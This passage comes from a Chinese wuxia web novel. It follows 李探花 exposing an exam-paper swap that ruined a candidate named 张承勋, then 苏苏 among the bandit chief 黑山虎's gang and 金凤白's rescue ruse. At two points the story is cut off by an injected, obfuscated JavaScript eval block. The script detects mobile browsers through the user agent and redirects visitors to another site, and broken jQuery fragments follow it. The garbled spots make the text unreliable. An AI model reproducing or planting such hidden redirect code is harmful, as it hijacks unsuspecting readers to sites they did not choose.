王胡子当然也知道她,多少人用金银财宝恳求她,她都不肯露一露面,现在,她竟然要这样一把平平无奇的铁尺。倒霉催的铁尺。如果他回去向他的主人,东平十虎中最可怕的一位,黑山虎,说,他让他出去找人掌掌眼的东西只是一把再普通不过的尺子,他会怎么整治他?当然,这不是他的错,但如果讲道理那就不是黑山虎了。 几十双眼睛一起盯着他。王胡子也感到,如果就这么回去,他肯定会得到一顿修理。但如果把铁尺给这女人,至少他还可以给黑山虎讲个故事。假如这个故事他喜欢,那他的小命就保住了。所以这把尺子,经过众人的传递,由西门烈送进了厨房。然后那女人终于走了出来。大家一见到她,就觉得这好几个月以来她所卖的关子,真是一点也不算愚弄了他们。 可是她只给他们看半张脸。另半张脸仍掩藏在黑纱底下。 王胡子催着她把黑纱除去,她说还不是时候。王胡子喃喃地道: “好罢。娘们儿……那就跟我走!东西已给了你,你呢,就归我——不对,归我们的老大了。” 女人仍然摇头。 “这把尺子是给你们看半张脸的价格。” 另半张脸呢? 是不是要黑山虎亲自去找她,她才肯就范? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16995997|193873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 这个故事,黑山虎果然喜欢。王胡子的小命保住了,也没有少零件儿。 黑山虎可以在客栈不开张的时候也径自闯进去,但他偏要等到下一个十五。大雪下了一场又一场,然后渐渐止住,春水流淌,山中花发,那个仿佛永远也盼不到的来年终于到了。他骑着一匹漆黑的健马,来到客栈前。他喜欢这样被众人给围着,喜欢做热闹的中心。他对苏苏说: “我已来了。” 苏苏也说: “你来了。我要问你一个问题。” 他扬眉,接过旁人递过来的酒,喝着,等着。她的嘴唇动了几次,迟疑着,终于问: “铁传甲是不是强盗中的一个?” 这是兄弟们都想知道的。黑山虎的眼珠转了一圈,他其实长得不那么高,也不那么健壮,有点黑,其貌不扬。但却是东昌府上上下下最可怕的人物。有人说他两手就能把人撕裂,就像老虎扑食一样,还有人干脆说他吃人。 他想了想,然后说: “这就要看夫人的了。夫人乐意听到什么,我就说什么。” 苏苏却又带着那种小女孩恶作剧式的笑容,解开了黑纱。黑纱落在了黑山虎的掌中。 “我要听真相。” 好多人被她吓到了,黑山虎没有。他微笑着说: “不对。下次说谎之前,夫人不妨先把面纱再戴上。我不认识什么叫铁传甲的人。” “告诉我,我该向谁报复。”苏苏说,“你该知道一个一夜之间被烧没了家的女人,什么都做得出来的。” “夫人肯揭开面纱,让大家一睹芳容,就算偿还了第一个问题的价格,可这是第二个问题了。我还听说,一个一夜之间被烧没了家的女人,什么都做得出来……” “你要什么?” 他还是带着那种奇异的微笑,为她打开了大门。然后扶着她上了那匹黑马,带着她向群山当中走去。西门烈马上要追出去,却被易明湖拉住了。 他低声、惆怅地说: “她知道自己在做什么。比我们几个都强。” 屠苏苏和黑山虎上山去了。黑山虎说,如果苏苏伺候得他高兴,或许他会告诉她,他所认识的翁天杰是什么样的。当然了,他笑着说,他完全有权利不说实话。 其他兄弟留在城里。沈县令在火灾的当天晚上挂印而去,只是巧合吗?还是像他们最恶毒的揣测中那样,心虚而逃走呢?知府因功升迁,废墟渐渐被附近的乡民搬运得七零八落,虽然已经火灾,不过对农民来说世界上是不存在没有用的东西的。有时候易明湖走过那些村落,能够认得出哪一块石头是过去曾砌在翁家院中的一角。 也或许他只是盼着自己能认出来。 铁传甲一点消息也没有。边洪不明不白地死了。 这个世界,对他们来说,忽然变成了一个巨大的谜团。 西门烈现在整日徘徊在山脚下,他和公孙雨想要上山去,到苏苏身边,保护她,但是谁不认得他们两个是翁天杰的弟兄?过往的客商,再也不能到翁天杰的门前求一只保平安的风筝了。 雨季再度来临前的一天,西门烈正坐在客栈门百无聊赖地抓着自己身上的虱子的时候,忽然一双手推了推他。睁开眼看,却是半年不见的金凤白。 凤白从来也没有这么狼狈过,衣襟脏得像抹布,但是他的双眼闪亮,道: “老幺,咱们去接嫂子去!” 西门烈扭过头去不理他。凤白急了,又推了他几下,他才慢悠悠地说: “你不知道这里的事。” “我知道!我全都知道!我和二哥一直通着信儿呢。现在我回来了。啊呦。”他一屁股在西门烈身旁坐下,“走死我了,这么多天的山路。” “你干什么去了?” “我和叔叔分家了。”凤白微笑道。那是种自取死路的蠢蛋才会有的恍惚的微笑,房顶上的公孙雨听到这句话,也惊得跳了下来。凤白的叔叔一向对他虽然严厉,但却十分尽心,不如说是一向把他当作自己的亲生儿子来看待,怎么会允许他干蠢事?凤白笑道,“叔叔毕竟不是亲爹,他也有自己的儿子,就是我小侄子,上次回家还是三年前,料现在该会跑了。这个家留给二房当,比我这个总想着要闯江湖的不肖子孙强。” 叔叔把三百两银子的货款挪给了他,这是一笔很大的本钱了,可是把银票交给他的同时,老人不觉叹口气。他知道凤白绝不会用这笔钱去做正经事的。果然,他在回到茌平之前就把钱花光了。买了几辆车,几匹很威武的马,车里装满了银子,以山匪的角度看,是绝对的好买卖,“你想想看,像我这样武功稀松的傻少爷,赶着这么辆车过路,东平十虎若能叫我过得去,就该改名做笨猫了。” 而车里有暗格,足以藏得下几个人。 特别是西门烈和老秀才这样身材瘦小的人。 “不过我怎么忍心让老幺委屈在那么小的暗格里呢?你可以扮成我的儿子。” “找死!” 大家哈哈大笑起来。 老秀才在屋里默默地听着。打着他的算盘,写他那两个三个铜板的账。 他算计了金凤白。他让边浩去找他,给他送信,出这些馊主意,诱使凤白放下自己的人生,为一个死去的人赴汤蹈火。这么一想,觉得此生此世,任何事都像报应。 22. 彼君子兮 皇帝叫李探花给翟銮寻些晦气,这件事是很容易办的。因为在本朝,活着即已经是皇帝的天恩浩荡,而只要皇帝收回加在此人身上的雨露,那么他连呼吸都能被拿来做些批判文章。所以无论高擢等人如何费心揣测,从初三开始他不过真的只是四处转转,玩玩而已。人只要有心,到哪里都能遇到好玩的事情,再说,所有人又无一不是那样殷勤地奉承着他。 翟銮的老家在山东青州府,因此整个山东府的举子们都觉得面上有光,和当朝的首辅大学士攀上了乡谊。不过这也算不了什么,不代表特别的道德败坏;濮州的举子也认为已故的李廷相老尚书是他们在朝里的一个靠山。 山东府的人,似乎都非常擅长交际,把他拉在大厅上,快快地打发人到外边买了菜蔬,片刻之间已然整治出了一桌宴席。 李家有许多奇事,是在天下间流传的。就在这两年,曾和老李尚书同朝为官,也和他一起看过弘治、正德、嘉靖三朝风霜,经历过刘瑾祸乱的太常寺卿陆深陆大人,于嘉靖十九年辞官归里。陆大人自然有许多的文人雅好,在家闲着没事,召集文会,由他的儿子陆楫、外甥黄标,和一干的青年才俊,搜集古今中外的故事,作了一本《古今说海》,整整四部七家浩浩荡荡的一百多卷八卦故事,从唐朝一直说到本朝,最近刚出到第一百二十二卷。这书作得粗陋,但非常红火,陆楫负责沉浸故纸,搜罗故事,黄标执笔,陆深则提供他的鲜活见闻。作一部出来,墨迹没干,立刻就有书坊的人捧着赶去刊印。 陆深因讲了不少他亲眼所见的闲杂事体在里头,譬如李家藏有《清明上河图》。在此之前,天下人只道此图藏在大内,陆深却一语道破:原来大内的那幅图是假的,正本却在李家的双桧堂中收着。于是有好事者问他是不是真的,李探花笑道: “是真的,不过十年前就早已献给了皇上,蒙皇上赏赐了一样更大的宝贝。” 往下就不肯再说更多。大家又问他当日在大同作战的情形。陆深说,兵部侍郎李荣是位儒将,临危受命,总督九边军事,来到了大同府,将兵法一施展开,立刻打得鞑子丢盔卸甲,四散奔逃,当时还没取得功名的小李探花,竟随着他哥哥一道去了前线,而且十分悍勇地亲自提剑杀敌,当此之时,血流满地,日月无光,风沙扑面,号角阵阵……那看过《古今说海》里这一折的书生,越说越高兴,竟俨然像个说书的似了,李探花盯着他瞧,不住地笑,道: “这下好,我倒不知陆伯伯竟也随着我们的人马的么?他怎知道这般清楚?” 千古文人都有一个侠客梦,大家眼望着他,好似见到了活生生的美梦的化身。这一会儿,会馆里实在是给挤得水泄不通,小李探花到了哪里,就是别的会馆里的举子们也都匆匆地赶了来,要一睹他的风采。大家一致地撺掇他讲讲打仗的事。他却不过,就说了一回。说到昔日他和哥哥一起来到大同,那会儿,大同府给鞑子围得水泄不通,李荣只带着一队轻捷的精锐,想要进城去而不得。增援的大部队还在后头,他们这点人,还不够给吉囊塞牙缝的呢。李探花气昂昂地道: “我杀进去就是了。瞧我这就去取那贼鞑子的首级!” 说着捉起宝剑。李荣并不会武,他打仗也用不着武艺,此刻笑道: “好啦,你安心待着吧。我的法子比你的还简单许多。” “还有什么比擒贼先擒王更简单的?” “啊呀,小少爷,”李荣笑着给他理了理跑马而散乱了的鬓发,“你只管自家高兴,就不顾旁人的死活了。你要是有个三长两短,我哪里有面目见阖家上下?别说父亲大人和小表妹了,就连九泉之下的母亲也要托梦来骂我,大厅上奉茶的那叫雪隐的丫头,也要暗暗地瞪我,假作不小心把热茶望我身上泼了。” 李探花笑道: “没了我,大哥在家里怎就如此水深火热了?那我永远也不离开大哥,以免你被人欺负。” “就是了。所以你安心待着罢。” 说着,李荣就拉着他的手走出去,若无其事地吩咐人安营扎寨。随从们自然都非常吃惊,但他们不是一般的仆人,而是从军中特意挑选出来的精锐,知道对主帅的命令只有服从。一会工夫,不仅简单的营帐支了起来,而且锅灶的星点的火光也点燃了。从这些火光中,有经验的军事家可以非常轻松地判断出对方有多少人马,李荣在本该小心潜行的时刻仍这样大摇大摆,实在让人悬心。李探花拉着他大哥的手,抬起头来问: “然后呢?” “然后吃饭啊,”李荣笑道,“我哪里敢饿着你啊,瞧你。” 伸手比量了一下自己的肩膀,和李探花的脑袋。李探花道: “我自然还是要长高的!”自跑到炉灶边坐下烤火不提。 李荣笑了笑,仍站在原处,望向暮色中越发显得黑压压一片的山峦。他带来的二十余骑士兵,全都不敢松懈,警惕地望着四周,随时准备拼杀。 拉锯战经过了好几个月,吉囊仍有二万精兵,要想冲破他们这个小小的宿营地,是很简单的。可是这一切都没发生。过了半个多时辰,远处飞来一枝箭矢,展开一看,却是吉囊军中的文书用汉话写的信。虽说是汉话写的,但用语鄙陋不堪,全无军中文书的体例。大意是说,他们的可汗请汉家将军进城。当时,这些蒙古骑兵一个个地全都耐着性子,分列两旁,给他们这二十来个人让出道路。李荣还是笑微微地,拉着弟弟的手,走在前头,进城去了。搞得好像这些你死我活的蒙古士兵是他们的仪仗似的。 席间的这些书生们,一个个地都忘却了呼吸,问: “那……真就让你们进去啦?为什么啊?” 李探花道: “我本来也不懂,可是一进大同城,上了城墙,看清了地形,也立即懂了。” 一旁人早拿了纸笔来,他就提笔画下当日的山川图样。原来李荣因为大部队走得慢,竟就将计就计,叫他们索性慢慢地走,而且把队伍拖得长些、散漫些也不要紧,只要能在七日之内赶到大同的几个屯堡就可以了。那天晚上,李荣在山间举火造饭,山间的火光,就是远在十里地之外也看得清,于是所有接到信号的屯堡、卫所、营寨,纷纷地点起火来。吉囊当然早就发现了这二十来人,已计划在深夜悄悄包围,把他们一口吞下,那明朝天子派的大官儿,可作为一道好肉票。可是忽然之间,他发现漫山遍野四面火光,被包围的好像是他自己。 气急之下,索性也将计就计,打算将他驱进大同城中,然后一道围起来。大同城被围困多日,粮草已尽,就是进去了也不过只是一道被困住罢了。吉囊倒想不到李荣进了城有什么特别的好处。没想到李荣要的只是大同城的那高高的碉堡,可以方便地冲全军发号施令,他命人树了十八杆颜色、纹样各不相同的大旗,每一杆都要三四个人抬着,过不了一炷香就得轮换人手;鲜艳的色彩和简单的号令,隔着很远依然能看得清,然后再将命令一传十、十传百,竟比常规作战使用飞马的骑兵传令还要高效,战争到了这一步,就像一盘棋不用下完也知道胜负已分,后来李探花出城杀敌,不过是一点末流功夫罢了。 众人听得两眼发直,追思往日。李探花却想到当日他浑身是血,热腾腾地提着宝剑走回来,那宝剑上的血滑腻得他非得紧紧地握住剑柄,否则就要脱手而落。大家都恭维他是少年的英才,文武双全,他也一点不谦虚,笑道: “我从前觉得应当考状元,做大学士,可是现在觉得做大将军也挺好,能不能又当大学士,又当大将军?”竟好像是为人间享不过来的荣耀而烦恼。大家都笑着说,只要他想要,没什么得不到的。 李荣是主帅,当然坐在堂上,在几案后头看着一纸文书,见了他,轻轻地一招手,他就乖乖地过去,自己告饶道: “大哥,再也不敢啦……” “是你大哥我再也不敢了才对,以后再也不敢带你出来了。” 他一听,立刻上蹿下跳,又是撒娇,又是求饶。李荣无奈地笑了一下,取过侍从送上来的手巾给他擦脸。说: “见着那么多尸体,怕不怕?” 李探花道: “不怕!我杀了好些鞑子呢!” 李荣已将那手巾抹成红的了,此时仔仔细细地看看弟弟的面容,仍是鲜亮、白净的一个少年,便有些满意,将手巾抛在盆里,道: “你这孩子总也没个怕觉。” 李探花站在那,由人将铠甲脱了下来,然后坐在李荣的身边,挨着他,道: “大哥难道怕尸体?” “看多了就不怕了。”李荣道,“我从前还数呢。后来也不数了。数也数不过来。” 然后又伸手抹一抹他的脸颊,好像那里有块什么脏东西似的。可是明明已经很干净了。 数月后的诏狱,隔着栅栏和李荣做无声对峙之时,他想到那天李荣说“从前还数呢”。虽然李荣当时还好端端地活在他面前,他却牙关颤抖起来。李荣用染满血迹的手指,轻轻地、最后地一蹭他的面颊。 那天晚上他拼死闯进诏狱,大哥却不肯跟他走,他近乎失态而险些惊动了守卫,还是陆炳带着他好容易才潜离这是非之地,走小路来在外面的街道上。这是有名的花街,迎面却正正好遇见了几个朝中相识的人物。本朝虽然不许官员狎妓,但反正风气如此,管也管不过来,所以私底下大家都并不互相避讳,见了他,笑道: “呦,小李探花,瞧你脸上脏的,怕不是吃了女人胭脂了罢!”大家哈哈大笑起来。 在满堂的笑语声中,又有人将他从往事的沉思中唤醒。 “李探花。李探花!” 他这才意识到自己不知不觉又伸手摸着了面颊。他回过神来,笑道: “外头那是什么动静?” 大家这才向外看去,只见会馆的大门敞开,一个衣衫破烂,疯疯癫癫的人物,在门前跑来跑去,那门子就极力地驱赶他。李探花走出去,众人也都随着他出去,七嘴八舌地告诉他: “你别管他!他是个疯子。” 李探花道: “看这人的模样也是书生打扮,怎么疯了呢?” 人家就说: “我也是听人说的。咳。这人叫张承勋,去年秋闱没中,他当即就疯了,九月以来,在街上四处要饭,要纸笔……” “那就给他纸笔。“ “瞧您这话说的,难道他还能作文章么!” “给他。”李探花懒散地说。 那疯子见了纸笔,用笔蘸了墨,在纸上乱点几下,弄得乌七八糟,哈哈大笑,将笔一掷,跑走了。 大家便纷纷地笑道: “疯子嘛,自然是只会作‘梅花篆字’了。” 盖梅花篆字是一个源远流长的笑话,大约是说,一个考生岂止是不学无术,压根他就不识字,进了场不知往卷纸上写什么,只好蘸了墨汁,一转一个圈儿,一转一个圈儿,做成一幅“墨梅图”,所谓梅花篆字是也。后来他就买得了个功名。 李探花望着疯子离去的方向,忽然飞身跃起,跳到房上,将下面乌泱泱的一大堆人撂下,走了。 疯子到了晚上,也是有地方去的。虽然他自己的神智并不清醒,有时候眼见得前面就是河,还径直迈腿。全靠山东会馆厨下的一个樵夫,好心看觑着他,给他一碗饭吃,让他和自己一道睡在马棚子里。初九,整个会馆都安静了,绝大部分考生俱已入场,那樵夫在马棚里坐着,端着一碗麦饭,往面前的破碗里拨了一半。疯子瞧见饭,也不动,非得樵夫点了头,他才上手去抓,然后又挨了两下揍,非揍得他知道用筷子怪模怪样地扒饭了不可。 这个僻静的所在,沾着稻草和马粪的气味,臭不可闻,平常是没人过来的。可是偏偏有个美丽的青年,穿一身朱红的衣裳,佩着两把刀,径自走进这座马棚。那樵夫讶然道: “老爷,您是要用马?” 青年笑道: “不是啦,我来找一个人。” 樵夫爬起来,殷勤地说: “我带您上门子那儿问去。您怕不是要找馆里哪个读书的老爷罢?” “我找一个叫张承勋的人。” 那樵夫将这名字在口里念叨了两遍,指着那正扒饭的疯子道: “老爷,您不会说的是他?这是没考中,活活急疯了的,是我们这儿的一个笑话。” 李探花道: “可是,非亲非故的,你还给他饭吃?” “他也是可怜。” 李探花也在稻草上坐下,他带了一瓶酒,给樵夫倒了一碗。樵夫问: “你这位老爷要找他一个疯子做什么?” 李探花道: “我想听一听他的经历。你知道吗?” 那樵夫欲言又止,后来终于说: “知道一点。” 他咕嘟两口就咽下了一碗酒,望了望那疯子,说: “这个张承勋,他是庆阳府安化县人,家里头先很富裕,人家都叫他‘安乐公子’,他的生活果然也好和乐。就因为不愁吃穿,所以从小无心念书,他父亲平日里四处为善,虽有万贯家资,也是粗茶淡饭安分度日,对这个儿子,倒也不拘着他一定要干什么,只要他这辈子平安、快活就好。后来来了个鱼肉乡里的县官,把他们张家欺侮得不像话。有钱没权,在这世上就像一块肥肉,谁都能来咬你一口。姓张的这才慌了,发奋读书,想得个功名,不成想名落孙山,他就疯了。” 李探花用手撑着头,又给他斟上一碗,说: “我还知道有关于张承勋的别的事。” 樵夫忽然抬眼极锐利地瞪了他一眼,可是转瞬之间,又恢复了那下人谦恭的面貌,道: “想不到你这样的大人对一个疯子这么关心。何必呢?” 李探花道: “我这人就是爱多管闲事。” “你也觉着他可怜么?” “不。”李探花轻声道,“他尽了力了。” 樵夫不说话了。 李探花道: “我知道的那个张承勋,也是庆阳府安化县人,嘉靖二十二年,他到顺天府来乡试,进场的时候,他的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16995998|193873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 号和三位大官的子侄排在一起。这三位世家的少爷,进场见了他,一定很惊讶,连着很生气。因为他们本是四个人一起来的。他们四个人最是相好,到哪里都在一块。这四个人,是翟銮大学士的两个儿子:翟汝俭、翟汝孝,还有他们的蒙师崔奇勋,以及翟家的亲家焦清。他们的号本该排在一起的,这在他们心中是理所当然的事情,因为在开科之前,本场的主考官秦鸣夏还曾经去拜会过他们的父亲翟大人,而且唯唯诺诺,对大学士的意思不敢有半点违背。他们打算用的是一种很古老,但有效的作弊方法,四个人坐在一起,崔奇勋写完卷子,和翟汝俭交换,焦清写完卷子,和翟汝孝交换。那两人的文章好,两位翟少爷的文章坏,这样,保证两位翟少爷一定中,少爷的两位出了力的奴婢,从放榜的结果看来,也让他们中上了——这是他们的一个稳稳当当的计划,那么这个张承勋是哪里冒出来的呢?为什么和那三个人连号的是他,而不是崔奇勋?” 樵夫道: “因为……他们的名字里都有个‘勋‘字。” 李探花笑道: “是啦。我猜也是。昨晚我已将秦鸣夏大人请到我们南镇抚司衙门聊了会子天,他告诉我,虽然翟大人的声威他不敢违抗,可是他心里也有气,大家都是寒窗数十载,辛辛苦苦念书考上来的,凭什么他们做大官的就这么猖狂?于是他总还想偷偷做点手脚。当日他随手翻看名册,发现这个叫张承勋的,和那崔奇勋的名字有一个字相似,他就将两人的号换了过来,日后翟大人若是怪罪起来,大不了他赔罪说是自己眼花看错了,不至于让翟大人觉得他是成心不服他,降下大祸。这人不肯大造反,只肯小造反,可是他一造这个反,张承勋就倒霉啦。你说是不是?” 樵夫道: “他——我猜那三个人见了他,一定恼怒极了,而且这张承勋也一定一头雾水,哪里肯把卷子跟他们交换?” “你说,翟家兄弟会不会就此恨上了他?” “……也许罢。” “翟家兄弟会不会刻意地想要报复他?考完之后的卷册虽然糊着名字,可是四个人的卷子是连在一起的,也很是好找。在同考官中,有个叫欧阳?的,也是翟家兄弟的授业恩师,阅卷时他虽然表面上装作避嫌,不肯看这一册卷子,可是私下里却帮着辨认出了两位翟少爷的字迹。按照次序,当然就能很轻易地知道哪个是张承勋的卷册了。张承勋的文章,一看便是非常好的,一定能中;翟家兄弟就贿赂了管封卷的一个小衙役,要他悄悄地把翟汝俭和张承勋的两张卷纸抽出来,在场外模仿各自的字迹,将文章交换着誊了一遍。当日放榜之时,便是翟汝俭高中而张承勋落第了。” 樵夫自斟自饮,叹道: “我要是他,我怎么肯甘心!” 李探花道: “以往发生割卷这种事情,要查出来其实很容易,因为很多举子都会在出了贡院之后,赶快将自己的文章默出来找宿儒品评,等放榜以后,按惯例又会有官方出一册墨卷来供天下举子模范,因此中者的文章都明白可查。那张承勋不甘心,找来墨卷想要参看什么样的文章能中,一看之下,发现自己的文章却被那翟汝俭冒了去,当然非常气愤,就要跑到顺天府衙门去告状。” “翟家的势力,怎能由得他来!” “是啊,所以我猜,他连会馆的门都没能出得去,就被人给制住了。翟家兄弟最开始倒也不会太难为他;大概是用银两封他的口。或许还知道他家里的难处,提出要帮帮他。” “有骨气的人,怎能忍受!一千两银子,就想买走一个人的前途,这是做梦!我——我要是张承勋,就无论如何也要去告他一状!” “可是翟家兄弟当然不肯让他这么做了。他们一定想把他赶出京城。最坏的就是杀人灭口。” “或者……逼疯。” 那樵夫静静地看着疯子。疯子倒很和乐,吃完了麦饭,在那揪着自己衣服上的一个线头玩。李探花看了两人半晌,忽然道: “你瞧这个。” 那樵夫看时,他却将腰间的牙牌摘下来,递给他。这是南镇抚司的凭证,眼前这是一位权倾朝野,以皇帝为靠山的大官。李探花柔声道: “我是南镇抚司的指挥,我可以做他的靠山的。我可以替他伸张正义……你跟我走吧。我带你去见顺天的府台,带你去见皇上,带你去和翟大人当面对质,其实,皇上也看不过翟大人了。你的文章很好,理应得到你应得的一切。” 樵夫紧紧地咬着牙,一句话也不说。李探花道: “你就失望得对什么也不相信了吗?” 樵夫道: “我爹,人称‘张老善人’。他一生相信好有好报,恶有恶报。这几个月我一直留在京城,明知道我的家中一定正遭遇一场大祸,我还是不敢回去。我不孝,因为我不知道怎么回去面对我爹,不知道怎么向他解释这一切。为什么我们积德行善,却没有余庆?为什么我的文章好就活该被偷?为什么他们能拿一千两银子就买走人的所有尊严?为什么这件事闹到最后,你来了,你说你有权势?比翟家更有权势?你可以帮被他们欺压过的我们再欺压回来?这世上难道不相信积德行善,只相信互相欺压!” 李探花默默无语。那樵夫站起来道: “既然被你看破,我就走了。我回家去……带着我的老爹,飘零江湖去……我会写文章,你都说我的文章好,那么我就到衙门前头给人家写状子去吧。这个疯子,是我在街上捡到的,我原不认得他,也不知道他是哪里来的。当时他快饿死了,我也被翟家逼迫得要跳河。后来,我就借跳河和这疯子交换了身份,我和他换了衣裳,潜在山东会馆,找了个樵夫的事做,照顾他,让他冒我的名字,逢人就说,‘张承勋’因为没考中所以疯了。翟家兄弟也不屑得三天两头的亲自来看这到底是怎么回事,更无心仔细辨认他那张脏脸,听说张承勋疯了,也就高枕无忧了。” 张承勋低头望着李探花,道: “我不愿领你的情。你和那些一有机会就去欺压别人的人,也是一伙的!可你既然这么有钱,有权势……” 李探花殷殷地仰头望着他。张承勋道: “那么求你……照顾这个疯子吧。为此,我会念着你的好的。告辞。” 当天,张承勋就离开了顺天府。黄昏时城门将要关闭,大家都赶着进城,他倒与汹涌的人潮相反。出城的时候,依然做樵夫装扮,背上背着一捆柴。他身无分文,可是靠打柴就饿不死。 路过城门下时,他好像有所感应,回头看去。只见一个穿着朱红袍子的青年,坐在城门边上一户酒家的屋顶上,身边放着一个酒壶。他用筷子敲着酒杯,唱了起来: 坎坎 伐檀兮 置之河之干兮 河水清且涟猗 不稼不穑,胡取禾三百廛兮 不狩不猎,胡瞻尔庭有县貆兮 彼君子兮 不素餐兮* 张承勋冲他一拱手,去了。 *《文选注-梁-萧统》卷二十七,《伐檀》 23. 告诉我吧 屠苏苏差不多就是男人最怕的那种女人,生活多有依赖她,不自觉地想问她怎么想,想要听她的吩咐,乐意为她效劳。与此同时,她无论跟在哪个男人身边,生活仿佛都没有什么变化。她是个循规蹈矩的妇人,她的生活也就是经过男人恩准之后女人能拥有的那些东西:针头线脑,柴米油盐。在她那片屋檐底下,她一定竭尽全力让诸事如常。无论她是嫁给一个强盗,还是嫁给大英雄,或者不被人戳穿是强盗的英雄。仿佛全世界最重要的不是男人而是她的针线篓子。嫁人,不过是为了在这个万事都要经过男人的允许的世界上,找到一块安放针线篓子的地方。 现在她就在做针线,在补一件衣裳。 补之前,先洗好了。因为上面染着血。在强盗窝子里,当然是常常见血的。结果她就像洗小孩子的尿渍一样平静地洗了。黑山虎特别爱看她做家务。这个人也真奇怪。有时候让人觉得他不是个强盗头子而是个好奇的小孩子,而且还是小孩子里很安静的那一种。 不过他当然是的——是强盗头而不是小孩儿。是东平十虎的老大而不是个安静的小孩,其他九条老虎,见了他只好做病猫,抢到了什么东西,只能先捧过来给他过目,绝不敢私吞私藏。比如今天,老四和老五、老九一起,截到了一辆车,一个涉世未深的大少爷,仗着自己会点三脚猫的功夫,就自夸可以独个儿带着几个家丁运银子过山门,结果当然是被兄弟们杀得落花流水,少爷自己也只好跪下来哆哆嗦嗦地求饶,说好汉们饶命今后再也不敢逞能耐了。可是他当然不可能有这个机会了。大家哈哈大笑,把小白脸捆起来送给老大发落。一个少爷,两个家丁,并排垂着脑袋,五花大绑地跪在地下。在明灭的火光中,黑山虎把他们挨个瞧了一遍,其实他的眼神并不那么可怕,有点若有所思的意味在里头。少爷是个念书的少爷,家丁是帮他背着书箱剑匣的家丁。这么样的三个人踏上那连绵的群山,被盗匪们看在眼里,就犹如掉进嘴里的肥肉一般。 车里放着几捆聊作遮掩的生药材,几鞘银子,一匣珠花,都是新奇的首饰,少爷说是要带回家送给他的未婚妻的。 黑山虎听了,就走进里屋中,把苏苏叫出来。苏苏瞧了他一眼,叹口气,收好手里的活计,跟他一起走出去。她当然知道黑山虎要她出去干山门——看杀人。 他喜欢让她在旁边看杀人,不管是处置自家犯了错的弟兄,有时候那只是很小的一点错;还是杀死从下面抢来的人质。好像是刻意在跟她斗狠似的。 苏苏尽可能地面无表情。她的目光扫过金凤白、西门烈和公孙雨。 而且觉得西门烈长高了好多,公孙雨也不再是那个破锣嗓子了,她就笑了一下。 黑山虎笑道: “本事不小,能让我家这个阎王来了也发愁的婆娘笑一笑。”众兄弟就纷纷交换眼神,觉得他们这位新嫂子简直笑比不笑还吓人十倍。他们盼着黑山虎哪天玩厌了这个女人,再给他们好歹换一个。结果他竟然变得这么有耐心,这个已经快半年了,还没有一点迹象。大家私底下说,丑陋的女人说不定吹了灯就一样了,等老大把她玩厌了以后,一定要求他把她送给他们,让弟兄们也见识见识。然后就是一阵冲破屋顶的笑浪。 黑山虎说: “你笑什么?是喜欢这种小白脸吗?” 苏苏平静地回答: “我要那个。” 她指的是放在地下的那一匣珠花。黑山虎便故意做出一副恍然大悟的样子,大声重复道: “哦——你要那个。” 他的语气中,带有特别的讥讽: “好吧,那你就挑一件吧,我想这位少爷是不会这么吝啬的,是不?你的老婆是女人,我的老婆呢,好巧也是女人,她也想要的嘛。” 金凤白咬住嘴唇不说话。 苏苏就慢慢地走到匣子面前,慢慢地挑拣。 等她拣完了,黑山虎就会把三人全都杀死。然后呢?他可能还会派人把血衣和这匣珠花送去给受害人家属,而那些家属到死也不会知道亲人是折在了什么地方。——其实他是个挺有幽默感的人。 其实这些珠花真的是凤白替她挑的。他想看她戴。他只从易明湖里那里听说了苏苏毁容的事,但是没有亲眼见过。于是在他的心里,苏苏永远还是那么鲜艳、美丽,而且他总觉得世上简直没有什么毛病是他们一帖堂的膏药治不好的。结果,到现在他是真正吃了一惊。 他倒吸了一口凉气,西门烈忍不住愤怒地盯着地面。 他实在觉得有人这么对苏苏的脸大惊小怪,实在太过分了,但他也不敢看向凤白;总之,要是有命活着,他一定要把凤白揍一顿。 没想到凤白的反应更大声了。就在强盗窝子里这个鬼魅的女人拉下脸上的黑纱走过来挑拣珠花的时候,这个傻里傻气的少爷,因为见到了她可怕的脸而惊恐地叫起来,一边叫,一边往后膝行退却,好像真把她当成女鬼了。 在一旁侍立的几个强盗,忍不住哈哈大笑起来,倒并没有觉得这样有什么危险,抓上来的人质常常要供他们取乐,而他们把人家耍弄得满地爬的情形也经常有的。反正他的手被绑住,脚也被绑住。 他就只有一张嘴还能灵活地动弹,可以用来惨叫啊。好吓人啊,怎么会有人的脸长成这样子,就算黑大哥不杀了他,他也要求黑老大给他一个痛快,看过了这么一张脸,晚上还怎么睡觉啊? 他就这么大叫着退到了几个盗匪的脚边,对方一脚接一脚地把他踹得在地上乱滚,好像在踢球一样,踢得他脸上青青红红的,躺在地上喘气,还一副惊魂未定的样子。太好玩了。大家还要逗他: “我们大嫂美不美?” 他张着嘴说不出话来。张着嘴……又有一只脚踹了他一下,他忽然喷出一口血雾。在这片血雾之间,几人忽然觉得自己什么也看不清了,捂住自己的脸大叫起来。 这不是手贱叫兔子咬了么?其他人还在笑。 凤白感到绳索已经在踢踹的过程中有所松动,就将它们抖落。他的手上没有武器,就用这条绳子做武器,一挥之下便扫倒一片。原来这个傻少爷,身上有的是纯正的北少林的功夫,呼吸吐纳,可有缩骨之能,所以绳索是捆不住他的。陡然生变,一屋子的盗匪,总有七八个,拿刀的,拿枪的,拿斧头的,纷纷扑了上来。凤白好险闪过一斧,又喷出一口长气。这是他事先藏在口中的药水;就说世上没有一帖堂治不了的毛病。也没有一帖堂治不出的毛病。 